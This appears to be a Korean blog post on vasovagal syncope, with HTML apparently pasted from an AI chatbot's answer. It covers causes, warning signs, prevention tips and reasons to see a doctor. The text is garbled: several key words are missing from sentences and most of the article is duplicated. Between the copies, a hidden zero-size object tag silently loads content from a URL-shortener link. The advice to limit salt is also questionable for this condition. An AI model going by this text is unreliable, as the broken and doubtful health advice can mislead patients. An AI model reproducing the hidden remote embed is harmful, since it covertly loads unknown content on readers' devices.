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<div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:25">미주신경성 실신: 전조부터 예방까지</h2><p data-sourcepos="3:1-3:15"><strong>미주신경성 실신이란?</strong></p><p data-sourcepos="5:1-5:134">극심한 스트레스나 긴장으로 인해 혈압이 갑자기 떨어지면서 뇌로 가는 혈류량이 감소하여 일시적으로 의식을 잃는 상태를 말합니다. 주로 젊은 층에서 흔하게 나타나며, 심각한 은 아니지만 반복적인 실신은 일상생활에 불편을 초래할 수 있습니다.</p><p data-sourcepos="7:1-7:6"><strong>원인</strong></p><ul data-sourcepos="9:1-13:0">
<li data-sourcepos="9:1-9:81"><strong>자율신경계의 불균형:</strong> 스트레스, 긴장, 통증 등의 자극에 과민하게 반응하여 심장 박동수가 느려지고 혈관이 확장되면서 혈압이 떨어집니다.</li>
<li data-sourcepos="10:1-10:59"><strong>체위성 저혈압:</strong> 오랫동안 서 있거나 갑자기 일어설 때 혈압이 급격히 떨어져 실신할 수 있습니다.</li>
<li data-sourcepos="11:1-11:58"><strong>탈수:</strong> 땀을 많이 흘리거나 수분 섭취가 부족하면 혈액량이 감소하여 실신을 유발할 수 있습니다.</li>
<li data-sourcepos="12:1-13:0"><strong>저혈당:</strong> 혈당이 급격히 떨어지면 뇌로 공급되는 포도당이 부족해져 실신할 수 있습니다.</li>
</ul><p data-sourcepos="14:1-14:8"><strong>전조</strong></p><ul data-sourcepos="16:1-22:0">
<li data-sourcepos="16:1-16:46"><strong>어지럼증:</strong> 가장 흔한 으로, 머리가 핑핑 돌거나 어지러움을 느낍니다.</li>
<li data-sourcepos="17:1-17:34"><strong>시야 흐림:</strong> 눈앞이 캄캄해지거나 시야가 흐려집니다.</li>
<li data-sourcepos="18:1-18:35"><strong>메스꺼움:</strong> 속이 울렁거리거나 구토를 할 수 있습니다.</li>
<li data-sourcepos="19:1-19:30"><strong>식은땀:</strong> 손발이 차가워지고 식은땀이 납니다.</li>
<li data-sourcepos="20:1-20:47"><strong>심장이 빨리 뛰거나 느리게 뛰는 느낌:</strong> 심박수에 변화가 생길 수 있습니다.</li>
<li data-sourcepos="21:1-22:0"><strong>귀울림:</strong> 귀에서 윙윙거리는 소리가 들릴 수 있습니다.</li>
</ul><p data-sourcepos="23:1-23:7"><strong>예방법</strong></p><ul data-sourcepos="25:1-33:0">
<li data-sourcepos="25:1-25:43"><strong>충분한 수분 섭취:</strong> 하루 8잔 이상의 물을 마셔 탈수를 예방합니다.</li>
<li data-sourcepos="26:1-26:54"><strong>규칙적인 식사:</strong> 특히 아침 식사를 거르지 않고 규칙적으로 식사하여 저혈당을 예방합니다.</li>
<li data-sourcepos="27:1-27:59"><strong>적절한 운동:</strong> 규칙적인 유산소 운동은 심혈관 기능을 향상시켜 실신을 예방하는 데 도움이 됩니다.</li>
<li data-sourcepos="28:1-28:45"><strong>스트레스 관리:</strong> 명상, 요가, 심호흡 등을 통해 스트레스를 관리합니다.</li>
<li data-sourcepos="29:1-29:36"><strong>충분한 휴식:</strong> 충분한 수면을 취하고 피로를 해소합니다.</li>
<li data-sourcepos="30:1-30:63"><strong>압박 스타킹 착용:</strong> 오랫동안 서 있어야 할 경우 압박 스타킹을 착용하여 혈액 순환을 도울 수 있습니다.</li>
<li data-sourcepos="31:1-31:49"><strong>소금 섭취 조절:</strong> 과도한 염분 섭취는 혈압을 상승시킬 수 있으므로 주의합니다.</li>
<li data-sourcepos="32:1-33:0"><strong>카페인 및 알코올 섭취 줄이기:</strong> 카페인과 알코올은 혈압 변동을 유발할 수 있으므로 섭취를 줄입니다.</li>
</ul><p data-sourcepos="34:1-34:14"><strong>진료가 필요한 경우</strong></p><ul data-sourcepos="36:1-40:0">
<li data-sourcepos="36:1-36:19">실신이 반복적으로 발생하는 경우</li>
<li data-sourcepos="37:1-37:39">실신과 함께 다른 (가슴 통증, 호흡 곤란 등)이 동반되는 경우</li>
<li data-sourcepos="38:1-38:30">실신 후 회복이 느리거나 의식이 오래 지속되는 경우</li>
<li data-sourcepos="39:1-40:0">일상생활에 지장을 줄 정도로 불안감이 큰 경우</li>
</ul><p data-sourcepos="41:1-41:8"><strong>주의사항</strong></p><p data-sourcepos="43:1-43:62">미주신경성 실신은 대부분 심각한 은 아니지만, 한 진단과 를 위해 반드시 전문의와 상담해야 합니다.</p><p data-sourcepos="45:1-45:49"><strong>참고:</strong> 위 내용은 일반적인 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다.</p><p data-sourcepos="47:1-47:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="9:1-9:81"><strong>자율신경계의 불균형:</strong> 스트레스, 긴장, 통증 등의 자극에 과민하게 반응하여 심장 박동수가 느려지고 혈관이 확장되면서 혈압이 떨어집니다.</li>
<li data-sourcepos="10:1-10:59"><strong>체위성 저혈압:</strong> 오랫동안 서 있거나 갑자기 일어설 때 혈압이 급격히 떨어져 실신할 수 있습니다.</li>
<li data-sourcepos="11:1-11:58"><strong>탈수:</strong> 땀을 많이 흘리거나 수분 섭취가 부족하면 혈액량이 감소하여 실신을 유발할 수 있습니다.</li>
<li data-sourcepos="12:1-13:0"><strong>저혈당:</strong> 혈당이 급격히 떨어지면 뇌로 공급되는 포도당이 부족해져 실신할 수 있습니다.</li>
</ul><p data-sourcepos="14:1-14:8"><strong>전조</strong></p><ul data-sourcepos="16:1-22:0">
<li data-sourcepos="16:1-16:46"><strong>어지럼증:</strong> 가장 흔한 으로, 머리가 핑핑 돌거나 어지러움을 느낍니다.</li>
<li data-sourcepos="17:1-17:34"><strong>시야 흐림:</strong> 눈앞이 캄캄해지거나 시야가 흐려집니다.</li>
<li data-sourcepos="18:1-18:35"><strong>메스꺼움:</strong> 속이 울렁거리거나 구토를 할 수 있습니다.</li>
<li data-sourcepos="19:1-19:30"><strong>식은땀:</strong> 손발이 차가워지고 식은땀이 납니다.</li>
<li data-sourcepos="20:1-20:47"><strong>심장이 빨리 뛰거나 느리게 뛰는 느낌:</strong> 심박수에 변화가 생길 수 있습니다.</li>
<li data-sourcepos="21:1-22:0"><strong>귀울림:</strong> 귀에서 윙윙거리는 소리가 들릴 수 있습니다.</li>
</ul><p data-sourcepos="23:1-23:7"><strong>예방법</strong></p><ul data-sourcepos="25:1-33:0">
<li data-sourcepos="25:1-25:43"><strong>충분한 수분 섭취:</strong> 하루 8잔 이상의 물을 마셔 탈수를 예방합니다.</li>
<li data-sourcepos="26:1-26:54"><strong>규칙적인 식사:</strong> 특히 아침 식사를 거르지 않고 규칙적으로 식사하여 저혈당을 예방합니다.</li>
<li data-sourcepos="27:1-27:59"><strong>적절한 운동:</strong> 규칙적인 유산소 운동은 심혈관 기능을 향상시켜 실신을 예방하는 데 도움이 됩니다.</li>
<li data-sourcepos="28:1-28:45"><strong>스트레스 관리:</strong> 명상, 요가, 심호흡 등을 통해 스트레스를 관리합니다.</li>
<li data-sourcepos="29:1-29:36"><strong>충분한 휴식:</strong> 충분한 수면을 취하고 피로를 해소합니다.</li>
<li data-sourcepos="30:1-30:63"><strong>압박 스타킹 착용:</strong> 오랫동안 서 있어야 할 경우 압박 스타킹을 착용하여 혈액 순환을 도울 수 있습니다.</li>
<li data-sourcepos="31:1-31:49"><strong>소금 섭취 조절:</strong> 과도한 염분 섭취는 혈압을 상승시킬 수 있으므로 주의합니다.</li>
<li data-sourcepos="32:1-33:0"><strong>카페인 및 알코올 섭취 줄이기:</strong> 카페인과 알코올은 혈압 변동을 유발할 수 있으므로 섭취를 줄입니다.</li>
</ul><p data-sourcepos="34:1-34:14"><strong>진료가 필요한 경우</strong></p><ul data-sourcepos="36:1-40:0">
<li data-sourcepos="36:1-36:19">실신이 반복적으로 발생하는 경우</li>
<li data-sourcepos="37:1-37:39">실신과 함께 다른 (가슴 통증, 호흡 곤란 등)이 동반되는 경우</li>
<li data-sourcepos="38:1-38:30">실신 후 회복이 느리거나 의식이 오래 지속되는 경우</li>
<li data-sourcepos="39:1-40:0">일상생활에 지장을 줄 정도로 불안감이 큰 경우</li>
</ul><p data-sourcepos="41:1-41:8"><strong>주의사항</strong></p><p data-sourcepos="43:1-43:62">미주신경성 실신은 대부분 심각한 은 아니지만, 한 진단과 를 위해 반드시 전문의와 상담해야 합니다.</p><p data-sourcepos="45:1-45:49"><strong>참고:</strong> 위 내용은 일반적인 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다.</p><p data-sourcepos="47:1-47:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p></div>
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